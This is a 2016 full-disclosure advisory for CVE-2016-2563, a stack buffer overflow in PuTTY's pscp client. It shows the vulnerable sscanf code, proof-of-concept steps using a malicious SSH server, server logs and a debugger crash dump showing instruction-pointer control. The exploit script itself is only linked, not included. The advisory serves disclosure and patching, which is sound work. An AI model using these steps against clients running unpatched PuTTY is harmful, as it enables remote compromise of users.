full-disclosure - [FD] CVE-2016-2563 - PuTTY/PSCP <=0.66 buffer overflow - vuln-pscp-sink-sscanf

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Message-ID: <000001d177c8$434d29b0$c9e77d10$@oststrom.com>
Date: Sun, 6 Mar 2016 17:50:15 +0100
From: "oststrom \(public\)" <pub@...strom.com>
To: <fulldisclosure@...lists.org>
Subject: [FD] CVE-2016-2563 - PuTTY/PSCP <=0.66 buffer overflow -
	vuln-pscp-sink-sscanf

A potential addition to your honeypots.

Author:		<github.com/tintinweb>
Ref:
https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-2563
Version: 	0.1
Date: 		Feb 20th, 2016

Tag:		putty pscp client-side post-auth stack buffer overwrite when
processing remote file size 

Overview
--------

Name:		putty
Vendor:		sgtatham
References:	* http://www.chiark.greenend.org.uk/~sgtatham/putty/ [1]

Version:	0.66 [2]
Latest Version:	0.66
Other Versions:	0.59 [3] (~9 years ago) <= affected <= 0.66
Platform(s):	win/nix
Technology:	c

Vuln Classes:	stack buffer overwrite (CWE-121)
Origin:		remote
Min. Privs.:	post auth

CVE:		CVE-2016-2563

Description
-----------

quote website [1]

>PuTTY is a free implementation of SSH and Telnet for Windows and Unix
platforms, along with an xterm terminal emulator. It is written and
maintained primarily by Simon Tatham.

Summary 
-------

The putty SCP command-line utility (pscp) is missing a bounds-check for a
stack
buffer when processing the SCP-SINK file-size response to a SCP download
request. 
This may allow a malicious server to overwrite the stack buffer within the
client-
application potentially leading to remote code execution.

PoC see ref github.
Patch see ref github.

Besides that, two minor issues have been reported in putty packet handling:

* DoS condition in the parsing of SSH-Strings that lead to a nullptr read.
(connect putty to `poc.py` and type `x11exploit` to trigger one occurrence
of a crash, also works with x11forwarding disabled in putty)
* DoS condition in the handling of unrequested forwarded-tcpip channels open
requests that lead to a nullptr read. (connect putty to `poc.py` and type
`forwardedtcpipcrash` to trigger crash)

Details
-------

The vulnerable code is located in `pscp.c` [4] line 1498 (HEAD) and is based
on an
unbound `sscanf` string format descriptor storing an arbitrary length string
in
a 40byte fixed size stack buffer `sizestr[40]`.

Inline annotations are prefixed with `//#!`

1491         /*
1492          * If we get here, we must have seen SCP_SINK_FILE or
1493          * SCP_SINK_DIR.
1494          */
1495         {
1496             char sizestr[40];
//#! fixed size buffer
1497         
1498             if (sscanf(act->buf, "%lo %s %n", &act->permissions,   //#!
unbound cstr %s written to sizestr
1499                        sizestr, &i) != 2)

Proof of Concept
----------------

Prerequisites: 

* install python 2.7.x
* issue `#> pip install paramiko` to install `paramiko` ssh library for
python 2.x
* make sure `poc.py` and `test_rsa.key` are in the same folder

poc:

    Usage:   [<listen_ip:port>]
    Default:  0.0.0.0:22

1. start the malicious sshd by running `poc.py` which by default will bind
all ips, port 22.

INFO     monkey-patch paramiko.Transport.open_channel
INFO     monkey-patch paramiko.Transport._check_banner
INFO     --start--
INFO     ServerHostKey: 60733844cb5186657fdedaa22b5a57d5
INFO     BIND: ('0.0.0.0', 22)
INFO     Listening for connection ...
...

2. try to retrieve any file from the malicious sshd by executing `pscp`.
Provide any user/password/pubkey, the server will just accept anything.

c:\> pscp.exe -scp root@...alhost:/etc/passwd .
root@...alhost's password: anything

3. key-exchange and authentication

...
INFO     new peer: ('127.0.0.1', 6127)
DEBUG    starting thread (server mode): 0x2411750L
INFO     Connected (version 2.0, client PuTTY_Release_0.66)
DEBUG    kex algos:[u'diffie-hellman-group-exchange-sha256',
u'diffie-hellman-group-exchange-sha1', u'diffie-hellman-group14-sha1',
u'diffie-hellman-group1-sha1', u'rsa2048-sha256', u'rsa1024-sha1'] server
key:[u'ssh-rsa', u'ssh-dss'] client encrypt:[u'aes256-ctr', u'aes256-cbc',
u'rijndael-cbc@...ator.liu.se', u'aes192-ctr', u'aes192-cbc', u'aes128-ctr',
u'aes128-cbc', u'blowfish-ctr', u'blowfish-cbc', u'3des-ctr', u'3des-cbc',
u'arcfour256', u'arcfour128'] server encrypt:[u'aes256-ctr', u'aes256-cbc',
u'rijndael-cbc@...ator.liu.se', u'aes192-ctr', u'aes192-cbc', u'aes128-ctr',
u'aes128-cbc', u'blowfish-ctr', u'blowfish-cbc', u'3des-ctr', u'3des-cbc',
u'arcfour256', u'arcfour128'] client mac:[u'hmac-sha2-256', u'hmac-sha1',
u'hmac-sha1-96', u'hmac-md5'] server mac:[u'hmac-sha2-256', u'hmac-sha1',
u'hmac-sha1-96', u'hmac-md5'] client compress:[u'none', u'zlib'] server
compress:[u'none', u'zlib'] client lang:[u''] server lang:[u''] kex
follows?False
DEBUG    Ciphers agreed: local=aes256-ctr, remote=aes256-ctr
DEBUG    using kex diffie-hellman-group14-sha1; server key type ssh-rsa;
cipher: local aes256-ctr, remote aes256-ctr; mac: local hmac-sha1, remote
hmac-sha1; compression: local none, remote none
DEBUG    Switch to new keys ...
DEBUG    Auth request (type=none) service=ssh-connection, username=root
INFO     Auth rejected (none).
INFO     REQUEST: allowed auths:
gssapi-keyex,gssapi-with-mic,password,publickey
DEBUG    Auth request (type=gssapi-with-mic) service=ssh-connection,
username=root
INFO     Auth rejected (gssapi-with-mic).
INFO     REQUEST: allowed auths:
gssapi-keyex,gssapi-with-mic,password,publickey
DEBUG    Auth request (type=password) service=ssh-connection, username=root
INFO     REQUEST: CHECK_AUTH_PASS u'root' xxxxx
INFO     * SUCCESS
INFO     Auth granted (password).
...

4. `pscp` tries to retrieve file. Server responds with fake timestamps,
permissions and an overly long filesize string overflowing the 40byte client
buffer.

...
INFO     REQUEST: CHAN session 0
DEBUG    [chan 0] Max packet in: 32768 bytes
DEBUG    [chan 0] Max packet out: 16384 bytes
DEBUG    Secsh channel 0 (session) opened.
DEBUG    [chan 0] Unhandled channel request
"simple@...ty.projects.tartarus.org"
INFO     REQUEST: EXEC <paramiko.Channel 0 (open) window=2147483647 ->
<paramiko.Transport at 0x2411750L (cipher aes256-ctr, 256 bits) (active; 1
open channel(s))>> scp -f /a
INFO     Authenticated!
INFO     wait for event
INFO     wait for event
WARNING  Oh, hello putty/pscp PuTTY_Release_0.66, nice to meet you!
INFO     send (time): 'T1444608444 0 1444608444 0\n'
INFO     send (perm): 'C755 A...A \n'
INFO     boom!
ERROR    Peer did not ask for a shell within 10 seconds.
DEBUG    EOF in transport thread
...

5. `pscp` crashes due to RET overwrite with EIP control (`\x41`==`A`). Can
be turned into RCE (see annotation, EIP control)

...
CONTEXT:  0000000000000000 -- (.cxr 0x0;r)
eax=00000000 ebx=00000000 ecx=00187dc0 edx=00000000 esi=003f1061
edi=00000000
eip=41414141 esp=00187e18 ebp=41414141 iopl=0         nv up ei pl zr na pe
nc         		 //#! EIP control
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
41414141 ??              ???
...
PROCESS_NAME:  pscp.exe
READ_ADDRESS:  0000000041414141 
FOLLOWUP_IP: 
unknown!noop+0
41414141 ??              ???
FAILED_INSTRUCTION_ADDRESS: 
unknown!noop+0
41414141 ??              ???
IP_IN_FREE_BLOCK: 41414141
BUGCHECK_STR:
APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_ZEROED_STACK_EXPL
OITABLE
LAST_CONTROL_TRANSFER:  from 0000000041414141 to 0000000041414141
STACK_TEXT:  
00187e14 41414141 41414141 41414141 41414141 0x41414141
00187e18 41414141 41414141 41414141 41414141 0x41414141
...

Notes
-----

Verified, resolved and released within one week. quite impressive.

Vendor response: see [5]

References
----------

[1] http://www.chiark.greenend.org.uk/~sgtatham/putty/
[2] http://tartarus.org/~simon-git/gitweb/?p=putty.git
[3]
http://tartarus.org/~simon-git/gitweb/?p=putty.git;a=tree;h=5baaacba07aff7bd
680cf9954fee44a0c11dc968;hb=c8ac73ada6aa865ce9f4d0e389ba210072bc0b57
[4]
http://tartarus.org/~simon-git/gitweb/?p=putty.git;a=blob;f=pscp.c;hb=HEAD
[5]
http://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-pscp-sink-ss
canf.html

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